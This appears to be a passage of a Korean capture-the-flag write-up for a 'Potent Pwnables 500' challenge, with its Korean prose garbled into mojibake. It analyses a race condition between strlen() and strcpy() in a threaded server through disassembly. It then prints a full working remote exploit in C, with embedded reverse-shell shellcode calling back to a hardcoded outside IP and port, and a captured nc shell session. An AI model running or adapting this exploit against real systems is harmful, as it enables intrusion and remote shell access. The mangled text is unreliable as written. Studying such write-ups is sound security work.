8048ca0 // memset(0x804c600,0,0x500); ... 804922f: 68 00 05 00 00 push $0x500 8049234: 68 00 c6 04 08 push $0x804c600 8049239: ff 75 f4 pushl 0xfffffff4(%ebp) 804923c: e8 ff fa ff ff call 8048d40 // read(sock,0x804c600,0x500); -- ¿ì¼±, lock µÇ´Â ÇØ´ç À§Ä¡´Â memset() ÃʱâÈ­ ÈÄ, read() ÇÔ¼ö¿¡ ÀÇÇØ 1280byteÀÇ µ¥ÀÌÅͰ¡ ÀԷµǴ heap °ø°£ÀÔ´Ï´Ù. -- (gdb) x 0x804c5e0 0x804c5e0 : 0x0804e600 (gdb) -- ÇØ´ç À§Ä¡´Â ¾²·¹µåÀÇ °øÀ¯ µ¥ÀÌÅÍ ¿µ¿ªÀ¸·Î »ç¿ëµË´Ï´Ù. #2¹ø ÆÄÆ®: -- ... 804912c: 55 push %ebp 804912d: 89 e5 mov %esp,%ebp 804912f: 81 ec 18 02 00 00 sub $0x218,%esp // 536 8049135: 83 ec 0c sub $0xc,%esp 8049138: 68 00 c6 04 08 push $0x804c600 804913d: e8 3e fc ff ff call 8048d80 // strlen(0x804c600); ... 8049145: 3d f3 01 00 00 cmp $0x1f3,%eax ... 804914f: ff 75 08 pushl 0x8(%ebp) 8049152: e8 a5 02 00 00 call 80493fc // 0x80493fc(0x8(%ebp)); 8049157: 83 c4 10 add $0x10,%esp 804915a: 83 ec 08 sub $0x8,%esp 804915d: 68 00 c6 04 08 push $0x804c600 8049162: 8d 85 f8 fd ff ff lea 0xfffffdf8(%ebp),%eax // %ebp-520 °á±¹, ¹öÆÛ´Â 520byte 8049168: 50 push %eax 8049169: e8 72 f9 ff ff call 8048ae0 // strcpy(buf,0x804c600); -- ¿ì¼±, #2¹ø ÆÄÆ® ÁøÀÔ Á÷ÈÄ strlen() ÇÔ¼ö È£ÃâÀ» ÅëÇØ ÀÔ·ÂµÈ °øÀ¯ µ¥ÀÌÅÍÀÇ ±æÀ̸¦ È®ÀÎÇÕ´Ï´Ù. µ¥ÀÌÅÍÀÇ Å©±â°¡ 499byte º¸´Ù À۰ųª °°´Ù¸é Á¤»óÀûÀ¸·Î ¼öÇàµË´Ï´Ù. 0x80493fc() ÇÔ¼ö´Â #3¹ø ÆÄÆ®¿¡¼­ ºÐ¼®Çغ¸µµ·Ï ÇÏ°í ±× ÀÌÈÄ, strcpy() ÇÔ¼ö¸¦ ÅëÇØ 520byte Å©±âÀÇ ¹è¿­¿¡ °øÀ¯ µ¥ÀÌÅ͸¦ º¹»çÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½Àº Ãë¾àÁ¡ÀÇ ÇÙ½ÉÀÌ µÇ´Â #3¹ø ÆÄÆ® ³»¿ëÀÔ´Ï´Ù. #3¹ø ÆÄÆ®: -- ... 80493fc: 55 push %ebp 80493fd: 89 e5 mov %esp,%ebp 80493ff: 83 ec 08 sub $0x8,%esp 8049402: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 8049409: 81 7d fc 9f 86 01 00 cmpl $0x1869f,0xfffffffc(%ebp) // 99999¹ø ¹Ýº¹. ... 804941b: 50 push %eax 804941c: e8 ef 16 00 00 call 804ab10 -+ ... | 804ab10: 55 push %ebp <-------------------------------------+ ... 804ab24: 75 1b jne 804ab41 -+ ... | 804ab41: 8b 45 08 mov 0x8(%ebp),%eax <---------------------------+ 804ab44: c7 00 00 00 00 00 movl $0x0,(%eax) 804ab4a: 83 ec 0c sub $0xc,%esp 804ab4d: 68 e0 c5 04 08 push $0x804c5e0 804ab52: e8 79 e2 ff ff call 8048dd0 -- #3¹ø ÆÄÆ®´Â ´ëÃæ ÈȾîºÁµµ ¼ö»óÇÑ ÇÔ¼öÀÓÀ» ÇÑ´«¿¡ ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÀϺη¯ ·çÇÁ¸¦ 99999¹ø ¹Ýº¹Çؼ­ ¾²·¹µå ¼öÇà ¼Óµµ¸¦ ´ÊÃß´Â µí º¸À̱¸¿ä. ƯÈ÷, ¹Ýº¹ È£ÃâµÇ´Â pthread_mutex_unlock() ÇÔ¼ö´Â ´Ù¸¥ ¾²·¹µå°¡ 0x0804c600¿¡ À§Ä¡ÇÑ °øÀ¯ µ¥ÀÌÅ͸¦ Çڵ鸵ÇÒ ¼ö ÀÖµµ·Ï ¸¸µé¾îÁÝ´Ï´Ù. ÇöÀçÀÇ ¼öÇà À§Ä¡´Â strlen() ÇÔ¼ö È£Ãâ ÀÌÈÄ, strcpy() ÇÔ¼ö°¡ ¼öÇàµÇ±â Á÷Àü »óÅÂÀÔ´Ï´Ù. ÀÌ ¶§ ¸¸ÀÏ ´Ù¸¥ ¾²·¹µå¸¦ ÅëÇØ unlock »óÅÂÀÎ °øÀ¯ µ¥ÀÌÅÍÀÇ ³»¿ë°ú Å©±â¸¦ º¯°æÇÑ´Ù¸é ¾î¶»°Ô µÉ±î¿ä? ÀÌ´Â °á°úÀûÀ¸·Î, ¾Õ¼­ ÇÒ´çµÈ #2¹ø ÆÄÆ® ÇÁ·¹ÀÓÀÇ 520byte °ø°£º¸´Ù ´õ Å« ¹®ÀÚ¿­À» ÀÔ·ÂÇÒ ¼ö ÀÖ°Ô µÉ °ÍÀÔ´Ï´Ù. °ø°Ý ½Ã³ª¸®¿À¸¦ ±¸¼ºÇغ¸¸é, ¸ÕÀú 12345¹øÀ¸·Î Á¢¼ÓÇÏ¿© randomÀ¸·Î bindµÇ´Â Æ÷Æ®¸¦ ¹Þ°í ÇØ´ç Æ÷Æ®¿¡ µÎ °³ÀÇ ¼ÒÄÏÀ» ÅëÇØ Á¢¼ÓÇÑ ÈÄ, ù ¹øÂ° ¾²·¹µå°¡ #3¹ø ÆÄÆ®±îÁö µµ´ÞÇÒ ¼ö ÀÖµµ·Ï 499byte ÀÌÇÏÀÇ µ¥ÀÌÅ͸¦ ÀÔ·ÂÇØÁÝ´Ï´Ù. À̸¦ ÅëÇØ ù ¹øÂ° ¾²·¹µå´Â #3¹ø ÆÄÆ® ·çÇÁ±îÁö ¹«³­È÷ ³Ñ¾î¿Ã ¼ö ÀÖ½À´Ï´Ù. #3¹ø ÆÄÆ®ÀÇ ·çÇÁ°¡ ¹Ýº¹µÇ¸é¼­ mutex¸¦ unlockÇÒ µ¿¾È, Á¢¼ÓÇØµÎ¾ú´ø ´Ù¸¥ ¾²·¹µå·Î °øÀ¯ µ¥ÀÌÅÍ¿¡ Á¢±ÙÇÕ´Ï´Ù. ¿©±â¼­, ù ¹øÂ° ¾²·¹µåÀÇ strcpy() ÇÔ¼ö°¡ ¸ÕÀú È£ÃâµÇ´Â ÀÏÀÌ ¾øµµ·Ï µ¥ÀÌÅ͸¦ ºü¸£°Ô Çڵ鸵 ÇØÁÖ´Â °ÍÀÌ °ø°ÝÀÇ ÁÖ Æ÷ÀÎÆ®¶ó ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÇÏÀÌÁ§Å·ÇÑ °øÀ¯ µ¥ÀÌÅÍ¿¡´Â ´ÙÀ½°ú °°Àº stack overflow °ø°Ý Äڵ带 ±¸¼ºÇØÁÝ´Ï´Ù. µÎ ¹øÂ° ¾²·¹µå Á¢¼Ó ½Ã, º¸³»´Â °ø°Ý ÄÚµå: <---------- 520byte -----------><- 8byte -> +------+-----+-----------+-----+-----+-----+ | XXXX | NOP | shellcode | PAD | ebp | ret | +------+-----+-----------+-----+-----+-----+ À§¿Í °°ÀÌ ±¸¼ºÇÏ´Â ÀÌÀ¯´Â, retutn address µÚ·Î µ¥ÀÌÅͰ¡ µé¾î°¥ °æ¿ì, %eax ·¹Áö½ºÅͰ¡ ¸Á°¡Á® ¹ö¸®´Â ÀÏÀÌ ¹ß»ýÇϱ⠶§¹®ÀÔ´Ï´Ù. °á±¹ ù ¹øÂ° ¾²·¹µå ¼öÇà Áß(0x804a7e8 À§Ä¡) ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ´Â ¹®Á¦°¡ ¹ß»ýÇϹǷÎ, return address ±îÁö ÃÑ 528byte¸¸ ÀÔ·ÂÇÕ´Ï´Ù. ÀÛ¼ºµÈ exploitÀº ´ÙÀ½°ú °°½À´Ï´Ù. -- /* ** ** 0x82-dogfight_pwnage500 - Potent Pwnables 500 remote exploit by x82 ** ** exploit: -- ** [x82@x0x x82]$ ./0x82-dogfight_pwnage500 quals07 12345 ** ** Potent Pwnables 500 remote exploit by x82 ** ** [+] random port: 32743 ** [+] default brute-force count: 20 ** [*] exploit end. ** ** [x82@x0x x82]$ ** -- ** result: -- ** [x82@x0x x82]$ nc -l -p 8282 ** whoami ** pwnage500 ** exit ** -- ** */ #include #include #include #include #include #include unsigned char scode[] = /* bsd_ia32_reverse - LHOST=221.154.133.30 LPORT=8282 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x29\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0b" "\xe2\x2e\xc3\x83\xeb\xfc\xe2\xf4\x61\x83\x76\x5a\x59\xa0\x7c\x81" "\x59\x8a\xf3\x59\x8e\xfc\xe3\x43\x63\xf2\x2c\xe3\x51\x6b\xcf\xa9" "\x1b\xb3\x7e\x92\x9c\x88\x4c\x9b\xc6\x62\x44\xc1\x52\x52\x74\x92" "\x5c\xb3\xe3\x43\x42\x9b\xd8\x93\x63\xcd\x01\xb0\x63\x8a\x01\xa1" "\x62\x8c\xa7\x20\x5b\xb6\x7d\x90\xbb\xd9\xe3\x43"; int random_port=0; unsigned char buf[2000]; int setsock(char *host,int port){ struct hostent *se; struct sockaddr_in saddr; int sock; int i; se=gethostbyname(host); if(se==NULL){ return -1; } sock=socket(AF_INET,SOCK_STREAM,0); if(sock==-1){ return -1; } saddr.sin_family=AF_INET; saddr.sin_port=htons(port); saddr.sin_addr=*((struct in_addr *)se->h_addr); bzero(&(saddr.sin_zero),8); i=connect(sock,(struct sockaddr *)&saddr,sizeof(struct sockaddr)); if(i==-1){ return -1; } return sock; } int first_connect_12345(char *host,int port){ int sock; memset((char *)buf,0,sizeof(buf)); sock=setsock(host,port); buf[0]='0'; buf[1]='x'; recv(sock,buf+2,sizeof(buf)-1,0); random_port=strtoul(buf,0,0); return sock; } int first_send(int sock){ memset((char *)buf,0,sizeof(buf)); memset((char *)buf,'x',0x500); buf[499]=0; /* strlen()À» ³Ñ±â±â À§ÇØ */ send(sock,buf,strlen(buf),0); return sock; } int second_send(int sock){ int i; memset((char *)buf,0,sizeof(buf)); memset((char *)buf,0,0x500); memset((char *)buf,'x',520); memcpy(buf+4,scode,strlen(scode)); i=520; *(long *)&buf[i]=0x41414141; /* frame pointer */ i+=4; *(long *)&buf[i]=0x0804c604; /* return address */ i+=4; *(long *)&buf[i]=0x0; /* eax°¡ ¸Á°¡Á®¼­, ÀÌÀü±îÁö copy. */ i+=4; /* ÀÌ ºÎºÐ ¶§¹®¿¡ return-into-libc ±â¹ýÀ¸·Î´Â ¾ÈµÊ */ send(sock,buf,i,0); return sock; } int main(int argc,char *argv[]){ int sock_num0; int sock_num1; int sock_num2; int count=0; printf("\nPotent Pwnables 500 remote exploit by x82\n\n"); if(argc<3){ printf("Usage: %s [host] [port]\n\n",argv[0]); exit(-1); } sock_num0=(int)first_connect_12345(argv[1],atoi(argv[2])); printf(" [+] random port: %d\n",random_port); #define DEF_COUNT 20 printf(" [+] default brute-force count: %d\n",DEF_COUNT); for(count=0;count<(DEF_COUNT);count++) { /* ù ¹øÂ° ¾²·¹µå Á¢¼Ó */ sock_num1=(int)setsock(argv[1],random_port); /* µÎ ¹øÂ° ¾²·¹µå Á¢¼Ó */ sock_num2=(int)setsock(argv[1],random_port); (int)first_send(sock_num1); (int)second_send(sock_num2); memset((char *)buf,0,sizeof(buf)); recv(sock_num2,buf,sizeof(buf)-1,0); //printf("%s\n",buf); close(sock_num2); usleep(1000); memset((char *)buf,0,sizeof(buf)); recv(sock_num1,buf,sizeof(buf)-1,0); //printf("%s\n",buf); close(sock_num1); } close(sock_num0); printf(" [*] exploit end.\n\n"); exit(-1); } /* eoc */ -- °ø°Ý °á°ú: -- [x82@x0x x82]$ ./0x82-dogfight_pwnage500 quals07 12345 Potent Pwnables 500 remote exploit by x82 [+] random port: 32743 [+] default brute-force count: 20 [*] exploit end. [x82@x0x x82]$ -- ´Ù¸¥ â °á°ú: -- [x82@x0x x82]$ nc -l -p 8282 whoami pwnage500 exit -- ÀÌ¹Ì pthread mutex¿¡ ´ëÇØ ¾Ë°í ÀÖ´Ù¸é pwnage400 º¸´Ù Á» ´õ ½¬¿î ¹®Á¦°¡ ¾Æ´Ò±î ÆÇ´ÜµË´Ï´Ù. ±×·³, ´Ùµé Áñ°Å¿î exploit Çϼ¼¿ä. :-} -- By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org My World: http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y --